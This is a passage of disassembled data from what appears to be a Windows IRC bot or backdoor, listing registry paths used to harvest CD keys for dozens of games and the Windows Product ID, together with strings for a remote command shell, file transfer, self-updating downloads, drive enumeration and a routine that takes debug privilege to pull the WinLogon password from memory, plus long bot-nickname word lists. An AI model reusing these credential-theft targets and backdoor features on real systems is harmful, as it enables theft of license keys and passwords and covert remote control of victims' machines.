aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004368F0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo
		align 4
asc_437AEC:				; DATA XREF: sub_415A30+E9o
					; sub_415A30+F4o
		unicode	0, <=>,0
dword_437AF0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A30+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B6C	db  2Dh	; -		; DATA XREF: ___:00415F18o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_437B90	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Do
					; ___:00416313o
		dd 726F72h
unk_437BA8	db  2Dh	; -		; DATA XREF: ___:00416115o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437BD4	db  2Dh	; -		; DATA XREF: ___:0041601Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437BF8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE6o
		dd 74756Fh
dword_437C10	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F85o
		dd 169h
unk_437C28	db  2Dh	; -		; DATA XREF: ___:00415F42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437C48	db  2Dh	; -		; DATA XREF: ___:00415E9Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C6C	db  2Dh	; -		; DATA XREF: ___:00415E5Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_437C90	db  2Dh	; -		; DATA XREF: ___:0041638Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437CBC	db  2Dh	; -		; DATA XREF: ___:00416288o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CDC	db  2Dh	; -		; DATA XREF: ___:00416268o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416254o
unk_437D0C	db  2Dh	; -		; DATA XREF: ___:00416240o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D3C	db  2Dh	; -		; DATA XREF: ___:0041688Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D68	db  2Dh	; -		; DATA XREF: ___:0041687Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D9C	db  2Dh	; -		; DATA XREF: ___:004167C3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437DE0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416752o
		dd 25206465h, 73h
unk_437DFC	db  2Dh	; -		; DATA XREF: ___:004166DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437E34	db  2Dh	; -		; DATA XREF: ___:0041665Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E5C	db  2Dh	; -		; DATA XREF: ___:004165D2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437E88	db  2Dh	; -		; DATA XREF: ___:0041658Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_437EB0	db  2Dh	; -		; DATA XREF: ___:0041657Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437ED8	db  2Dh	; -		; DATA XREF: ___:00416471o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A2:loc_4169E5o
					; sub_418EF7+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A2:loc_4169D9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A2:loc_4169CDo
		align 4
off_437F28	dd offset word_4D4152	; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C	dw 3Fh			; DATA XREF: sub_4169A2+1Fo
					; sub_41AA43:loc_41AB45r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A33:loc_416B11o
					; sub_416B57+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A33+6Co
		align 10h
unk_437F40	db  2Dh	; -		; DATA XREF: sub_416B57+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F7C	db  2Dh	; -		; DATA XREF: sub_416B57+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_437FB8	dd offset byte_5C3A41	; DATA XREF: sub_416C29:loc_416C6Eo
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_438028	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417094o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43805C	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417067o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438088	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417060o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_4380C0	db  2Dh	; -		; DATA XREF: sub_416F1B+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43811C	dd offset byte_530055	; DATA XREF: sub_416F1B+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset loc_4E0047+2
		dd 0
off_438134	dd offset byte_530055	; DATA XREF: sub_416F1B+CEo
		dd offset byte_520045
		dd offset loc_41004E
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1B+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
					; sub_416F1B+161o ...
		align 4
unk_4381F8	db  2Dh	; -		; DATA XREF: sub_416F1B+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170ED+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170ED+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170ED+AFo
		align 4
dword_438244	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417553+70o
					; sub_4175EA+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438294	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175EA+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382E8	dd offset aQ		; DATA XREF: sub_417ADE+5Cr
					; "q"
		dd offset dword_438E90
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E8C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset dword_438E7C
		dd offset dword_438E78
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438E74
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E70
		dd offset dword_438E6C
		dd offset dword_438E68
		dd offset dword_438E64
		dd offset dword_438E60
		dd offset word_438E5C
		dd offset dword_438E58
		dd offset aI_0		; "I"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset aA_0		; "A"
		dd offset dword_438E4C
		dd offset dword_438E48
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset dword_438E3C
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset dword_438E24
		dd offset dword_438E20
		dd offset dword_438E1C
		dd offset word_438E18
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438BB0
		dd offset off_438BAC
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438A18
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385E8	dd offset aSex		; DATA XREF: sub_417ADE+41r
					; sub_417ADE+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E74
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aI		; "i"
		dd offset dword_42BBF8
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E90
		dd offset dword_438E78
		dd offset dword_438E8C
		dd offset dword_438E7C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E7C
		dd offset dword_438E84
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438838
		dd offset aBbl		; "|bbl"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset a___0		; "_|_"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E44
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438E74
		dd offset dword_43D808
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E28
		dd offset dword_43D808
		dd offset off_4387F8
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4387B8
		dd offset dword_4387B4
		dd offset dword_4387AC
		dd offset dword_4387A0
		dd offset dword_438798
		dd offset dword_438790
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
dword_438780	dd 7536h		; DATA XREF: ___:0043877Co
dword_438784	dd 7535h		; DATA XREF: ___:00438778o
dword_438788	dd 7C75347Ch, 0		; DATA XREF: ___:00438774o
dword_438790	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438770o
dword_438798	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043876Co
dword_4387A0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o
dword_4387AC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438764o
dword_4387B4	dd 6C6F6Ch		; DATA XREF: ___:00438760o
dword_4387B8	dd 746F74h		; DATA XREF: ___:0043875Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438758o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438754o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438750o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043874Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438748o
aShit		db 'shit',0             ; DATA XREF: ___:00438744o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438740o
		align 10h
